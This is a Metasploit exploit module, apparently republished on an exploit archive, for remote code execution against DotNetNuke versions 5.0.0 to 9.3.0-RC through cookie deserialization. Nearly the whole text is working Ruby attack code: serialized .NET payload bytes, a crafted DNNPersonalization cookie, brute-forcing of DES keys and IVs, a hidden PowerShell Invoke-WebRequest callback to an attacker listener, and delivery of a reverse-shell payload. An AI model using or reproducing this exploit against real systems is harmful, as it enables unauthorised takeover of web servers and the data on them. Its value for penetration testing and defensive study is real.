DotNetNuke Cookie Deserialization Remote Code Execution

2020.04.03
Credit: Jon Park
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' require 'openssl' require 'set' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer Rank = ExcellentRanking # ================================= # Overidden setup method to allow # for delayed handler start # ================================= def setup # Reset the session counts to zero. reset_session_counts return if !payload_instance return if !handler_enabled? # Configure the payload handler payload_instance.exploit_config = { 'active_timeout' => active_timeout } # payload handler is normally set up and started here # but has been removed so we can start the handler when needed. end def initialize(info = {}) super(update_info( info, 'Name' => "DotNetNuke Cookie Deserialization Remote Code Excecution", 'Description' => %q( This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC. Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML. The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization. The cookie is processed by the application whenever it attempts to load the current user's profile data. This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration). An attacker can leverage this vulnerability to execute arbitrary code on the system. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Park', 'Jon Seigel' ], 'References' => [ [ 'CVE', '2017-9822' ], [ 'CVE', '2018-15811'], [ 'CVE', '2018-15812'], [ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811 [ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812 [ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'], [ 'URL', 'https://github.com/pwntester/ysoserial.net'] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'auto' => true } ], [ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ], [ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ], [ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { }, 'Privileged' => false, 'DisclosureDate' => "Jul 20 2017", 'DefaultOptions' => { 'WfsDelay' => 5 }, 'DefaultTarget' => 0 )) deregister_options('SRVHOST') register_options( [ OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']), OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]), OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code. Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']), OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie; (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]), OptString.new('KEY', [false, 'The key to use for encryption.', '']), OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']), OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server. DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']), OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email. Can also be the path to a file containing a list of verification codes.), '']) ] ) initialize_instance_variables end def initialize_instance_variables # ================== # COMMON VARIABLES # ================== @target_idx = 0 # Flag for whether or not to perform exploitation @dry_run = false # Flag for whether or not the target requires encryption @encrypted = false # Flag for whether or not to attempt to decrypt the provided verification token(s) @try_decrypt = false # ================== # PAYLOAD VARIABLES # ================== # ObjectStateFormatter serialized header @osf_header = [255, 1, 50] # ObjectStateFormatter serialized data before the command payload @osf_wrapper_start = [ 0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73, 83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 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61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 1, 0, 0, 0, 11, 95, 99, 111, 109, 112, 97, 114, 105, 115, 111, 110, 3, 34, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 9, 5, 0, 0, 0, 17, 4, 0, 0, 0, 2, 0, 0, 0, 6, 6, 0, 0, 0 ] # ObjectStateFormatter serialized data to place after the command payload. @osf_wrapper_end = [ 6, 7, 0, 0, 0, 3, 99, 109, 100, 4, 5, 0, 0, 0, 34, 83, 121, 115, 116, 101, 109, 46, 68, 101, 108, 101, 103, 97, 116, 101, 83, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 72, 111, 108, 100, 101, 114, 3, 0, 0, 0, 8, 68, 101, 108, 101, 103, 97, 116, 101, 7, 109, 101, 116, 104, 111, 100, 48, 7, 109, 101, 116, 104, 111, 100, 49, 3, 3, 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0, 0, 113, 83, 121, 115, 116, 101, 109, 46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0, 0, 0, 9, 22, 0, 0, 0, 10, 11 ] @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/ # ================== # v9.1.1+ VARIABLES # ================== @key_charset = "02468ABDF" @verification_codes = [] @iv_regex = /[0-9A-F]{8}/ # Known plaintext @kpt = "" # Encryption objects @decryptor = OpenSSL::Cipher.new('des') @decryptor.decrypt @encryptor = OpenSSL::Cipher.new('des') @encryptor.encrypt # final passphrase (key +iv) to use for payload (v9.1.1+) @passphrase = "" # ================== # v9.2.0+ VARIABLES # ================== # Session token needed for exploitation (v9.2.0+) @session_token = "" # ================== # v9.2.2+ VARIABLES # ================== # User ID format (v9.2.2+) # Number of characters of user ID available in plaintext # is equal to the length of a GUID (no spaces or dashes) # minus (blocksize - known plaintext length). @user_id_pt_length = 32 - (8 - @kpt.length) @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/ # Plaintext found from decryption (v9.2.2+) @found_pt = "" @iv_charset = "0123456789abcdef" # Possible IVs used to encrypt verification codes (v9.2.2+) @possible_ivs = Set.new([]) # Possible keys used to encrypt verification codes (v9.2.2+) @possible_keys = Set.new([]) # passphrases (key + iv) values to use for payload encryption (v9.2.2+) @passphrases = [] # char sets to use when generating possible base keys @unchanged = Set.new([65,70]) end def decode_verification(code) # Decode verification code base don DNN format return String.new( Rex::Text.decode_base64( code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=") ) ) end # ============== # Main function # ============== def exploit return unless check == Exploit::CheckCode::Appears @encrypted = datastore['ENCRYPTED'] verification_code = datastore['VERIFICATION_CODE'] if File.file?(verification_code) File.readlines(verification_code).each do |code| @verification_codes.push(decode_verification(code)) end else @verification_codes.push(decode_verification(verification_code)) end @kpt = datastore['VERIFICATION_PLAIN'] @session_token = datastore['SESSION_TOKEN'] @dry_run = datastore['DryRun'] key = datastore['KEY'] iv = datastore['IV'] if target['ReqEncrypt'] && @encrypted == false print_warning("Target requires encrypted payload. Exploit may not succeed.") end if @encrypted # Requires either supplied key and IV, or verification code and plaintext if (!key.blank? && !iv.blank?) @passphrase = key + iv # Key and IV were supplied, don't try and decrypt. @try_decrypt = false elsif (!@verification_codes.empty? && !@kpt.blank?) @try_decrypt = true else fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).") end end if target['ReqSession'] if @session_token.blank? fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.") end end if @encrypted && @try_decrypt # Set IV for decryption as the known plaintext, manually # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed. # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time. # For v9.2.2+ it will find an initial base key faster than if padding were enabled. f8_plain = @kpt[0, 8] c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length) @decryptor.iv = String.new(c_iv.pack("C*")) @decryptor.padding = 0 key = find_key(@verification_codes[0]) if key.blank? return end if @target_idx == 4 # target is v9.2.2+, requires base64 generated key and IV values. generate_base_keys(0, key.each_byte.to_a, "") vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}") # re-enable padding here as it doesn't have the # same performance impact when trying to find possible IV values. @decryptor.padding = 1 print_warning("Finding possible base IVs. This may take a few minutes...") start = Time.now find_ivs(@verification_codes, key) elapsed = Time.now - start vprint_status( format( "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\ "verification codes in %<e_time>.2f seconds.", n_ivs: @possible_ivs.size, n_codes: @verification_codes.size, e_time: elapsed.to_s ) ) generate_payload_passphrases vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size)) end if @passphrase.blank? # test all generated passphrases by # sending an exploit payload to the target # that will callback to an HTTP listener # with the index of the passphrase that worked. # set SRVHOST as LHOST value for HTTPServer mixin datastore['SRVHOST'] = datastore['LHOST'] print_warning("Trying all possible KEY and IV combinations...") print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...") start_service vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...") test_passphrases # If no working passphrase has been found, # wait to allow the the chance for the last one to callback. if @passphrase.empty? && !@dry_run sleep(wfs_delay) end if service stop_service end print "\r\n" if !@passphrase.empty? print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found") end end end send_exploit_payload end # ===================== # For the check command # ===================== def check if target.name == 'Automatic' select_target end @target_idx = Integer(datastore['TARGET']) if @target_idx == 0 fail_with(Failure::NoTarget, 'No valid target found or specified.') end # Check if 404 page is custom or not. # Vulnerability requires custom 404 handling (enabled by default). uri = normalize_uri(target_uri.path) print_status("Checking for custom error page at: #{uri} ...") res = send_request_cgi( 'uri' => uri ) if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600 print_good("Custom error page detected.") else print_error("IIS Error Page detected.") return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end # =========================== # Auto-select target version # =========================== def select_target print_status("Trying to determine DNN Version...") # Check for copyright version in /Documentation/license.txt uri = %r{^(.*[\\\/])}.match(target_uri.path)[0] vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri + 'Documentation', 'License.txt') ) year = -1 if res && res.code == 200 # License page found, get latest copyright year. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end else vprint_status("Checking version at #{uri} ...") res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(uri) ) if res && res.code == 200 # Check if copyright info is in page HTML. matches = @cr_regex.match(res.body) if matches year = matches[0].to_i end end end if year >= 2018 print_warning( %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN. Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2. Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.") ) datastore['TARGET'] = 3 elsif year == 2017 print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED') datastore['TARGET'] = 2 elsif year < 2017 && year > 2008 print_good("DNN Version Found: v5.1.0 - v9.0.1") datastore['TARGET'] = 1 elsif year == 2008 print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).") datastore['TARGET'] = 1 else print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value") end end # ============================== # Known plaintext attack to # brute-force the encryption key # ============================== def find_key(cipher_text) print_status("Finding Key...") # Counter total_keys = @key_charset.length**8 i = 1 # Set start time start = Time.now # First char @key_charset.each_byte do |a| key = a.chr # 2 @key_charset.each_byte do |b| key[1] = b.chr # 3 @key_charset.each_byte do |c| key[2] = c.chr # 4 @key_charset.each_byte do |d| key[3] = d.chr # 5 @key_charset.each_byte do |e| key[4] = e.chr # 6 @key_charset.each_byte do |f| key[5] = f.chr # 7 @key_charset.each_byte do |g| key[6] = g.chr # 8 @key_charset.each_byte do |h| key[7] = h.chr if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key)) elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line if @target_idx == 4 print_good("Possible Base Key Value Found: " + key) else print_good("KEY Found: " + key) print_good("IV Found: " + @passphrase[8..-1]) end vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s)) return String.new(key) end # Print timing info every 5 million attempts if i % 5000000 == 0 print_search_status(i, Time.now - start, total_keys) end i += 1 end end end end end end end end elapsed = Time.now - start print_search_status(i, elapsed, total_keys) print_line print_error("Key not found") vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i)) vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s)) return nil end # ================================== # Attempt to decrypt a ciphertext # and obtain the IV at the same time # ================================== def decrypt_data_and_iv(cipher, cipher_text, key) cipher.key = key begin plaintext = cipher.update(cipher_text) + cipher.final if @target_idx == 4 # Target is v9.2.2+ user_id = plaintext[8, @user_id_pt_length] if @user_id_regex.match(user_id) return true end return false end # This should only execute if the version is 9.1.1 - 9.2.1 iv = plaintext[0, 8] if !@iv_regex.match(iv) return false end # Build encryption passphrase as DNN does. @passphrase = key + iv # Encrypt the plaintext value using the discovered key and IV # and compare with the initial ciphertext if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase) @passphrases.push(String.new(key + iv)) return true end rescue StandardError # Ignore decryption errors to allow execution to continue return false end return false end def print_search_status(num_tries, elapsed, max_tries) msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100) print("\r%bld%blu[*]%clr #{msg}") end # =========================== # Encrypt data using the same # pattern that DNN uses. # =========================== def encrypt_data(cipher, message, passphrase) cipher.key = passphrase[0, 8] cipher.iv = passphrase[8, 8] return cipher.update(message) + cipher.final end # =============================================== # Generate all possible base key values # used to create the final passphrase in v9.2.2+. # DES weakness allows multiple bytes to be # interpreted as the same value. # =============================================== def generate_base_keys(pos, from_key, new_key) if !@unchanged.include? from_key[pos] if from_key[pos] % 2 == 0 new_key[pos] = (from_key[pos] + 1).chr else new_key[pos] = (from_key[pos] - 1).chr end if new_key.length == 8 @possible_keys.add(String.new(new_key)) # also add key with original value new_key[pos] = (from_key[pos]).chr @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) # also generate keys with original value new_key[pos] = (from_key[pos]).chr generate_base_keys(pos + 1, from_key, String.new(new_key)) end else new_key[pos] = (from_key[pos]).chr if new_key.length == 8 @possible_keys.add(String.new(new_key)) else generate_base_keys(pos + 1, from_key, String.new(new_key)) end end end # ============================================== # Find all possible base IV values # used to create the final Encryption passphrase # ============================================== def find_ivs(cipher_texts, key) num_chars = 8 - @kpt.length f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/ @decryptor.key = key found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final # Find all possible IVs for the first ciphertext brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1]) # Reduce IV set by testing against other ciphertexts cipher_texts.drop(1).each do |cipher_text| @possible_ivs.each do |iv| @decryptor.iv = iv pt = @decryptor.update(cipher_text) + @decryptor.final if !f8regex.match(pt[0, 8]) @possible_ivs.delete(iv) end end end end # ========================================== # A recursive function to find all # possible valid IV values using brute-force # ========================================== def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt) charset = "0123456789abcdef" if num_chars_needed == 0 @decryptor.key = key @decryptor.iv = pt_prefix pt = @decryptor.update(cipher_text) + @decryptor.final iv = pt[0, 8] if @iv_regex.match(iv) pt = pt_prefix + found_pt if encrypt_data(@encryptor, pt, key + iv) == cipher_text @possible_ivs.add(String.new(iv)) end end return end charset.length.times do |i| brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt) end end # ======================================== # Generate all possible payload encryption # passphrases for a v9.2.2+ target # ======================================== def generate_payload_passphrases phrases = Set.new(@passphrases) @possible_keys.each do |key| @possible_ivs.each do |iv| phrase = Rex::Text.encode_base64( encrypt_data(@encryptor, key + iv, key + iv) ) phrases.add(String.new(phrase[0, 16])) end end @passphrases = phrases.to_a end # =========================================== # Test all generated passphrases by initializing # an HTTP server to listen for a callback that # contains the index of the successful passphrase. # =========================================== def test_passphrases for i in 0..@passphrases.size - 1 # Stop sending if we've found the passphrase if !@passphrase.empty? break end msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size) print("\r%bld%blu[*]%clr #{msg}") url = "#{get_uri}?#{get_resource.delete('/')}=#{i}" payload = create_request_payload(url) cookie = create_cookie(payload) # Encrypt cookie value enc_cookie = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie, @passphrases[i]) ) if @dry_run print_line print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...") print_line(enc_cookie) break end execute_command(enc_cookie, host: datastore['RHOST']) end end # =============================== # Request handler for HTTP server. # ============================== def on_request_uri(cli, request) # Send 404 to prevent scanner detection send_not_found(cli) # Get found index - should be the only query string parameter if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s] index = request.qstring[get_resource.delete('/').to_s].to_i @passphrase = String.new(@passphrases[index]) end end # ============================================== # Create payload to callback to the HTTP server. # Note: This technically exploits the # vulnerability, but provides a way to determine # the valid passphrase needed to exploit again. # ============================================== def create_request_payload(url) psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"" psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) return b64_payload end # ============================================= # Reproduce the WriteEncoded method in # the native .NET ObjectStateFormatter.cs file. # ============================================= def write_encoded_int(value) enc = [] while (value >= 0x80) v = value | 0x80 enc.push([v].pack("V")[0].unpack1("C*")) value >>= 7 end enc.push([value].pack("V")[0].unpack1("C*")) return enc end # ================================= # Creates the payload cookie # using the specified payload # ================================= def create_cookie(payload) cookie = "<profile>"\ "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\ "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\ "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\ "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\ "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\ "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "<ProjectedProperty0>"\ "<MethodName>Deserialize</MethodName>"\ "<MethodParameters>"\ "<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\ ">#{payload}</anyType>"\ "</MethodParameters>"\ "<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\ "i:type=\"ObjectStateFormatter\" />"\ "</ProjectedProperty0>"\ "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\ "</item>"\ "</profile>" return cookie end # ========================================= # Send the payload to the target server. # ========================================= def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port }) uri = normalize_uri(target_uri.path) res = send_request_cgi( 'uri' => uri, 'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};" ) if !res fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.") elsif res.code == 404 return true elsif res.code == 400 fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}") else fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}") end end # ====================================== # Create and send final exploit payload # to obtain a reverse shell. # ====================================== def send_exploit_payload cmd_payload = create_payload cookie_payload = create_cookie(cmd_payload) if @encrypted if @passphrase.blank? print_error("Target requires encrypted payload, but a passphrase was not found or specified.") return end cookie_payload = Rex::Text.encode_base64( encrypt_data(@encryptor, cookie_payload, @passphrase) ) end if @dry_run print_warning("DryRun enabled. No exploit payloads have been sent to the target.") print_warning("Printing exploit cookie payload...") print_line(cookie_payload) return end # Set up the payload handlers payload_instance.setup_handler # Start the payload handler payload_instance.start_handler print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...") execute_command(cookie_payload, host: datastore['RHOST']) end # =================================== # Create final exploit paylod based on # supplied payload options. # =================================== def create_payload # Create payload psh_cmd = "/b /c start /b /min " + cmd_psh_payload( payload.encoded, payload_instance.arch.first, remove_comspec: true, encode_final_payload: false ) psh_cmd_bytes = psh_cmd.bytes.to_a cmd_size_bytes = write_encoded_int(psh_cmd.length) # Package payload into serialized object payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end object_size = write_encoded_int(payload_object.length) # Create the final seralized ObjectStateFormatter payload final_payload = @osf_header + object_size + payload_object b64_payload = Rex::Text.encode_base64(final_payload.pack("C*")) vprint_status("Payload Object Created.") return b64_payload end end


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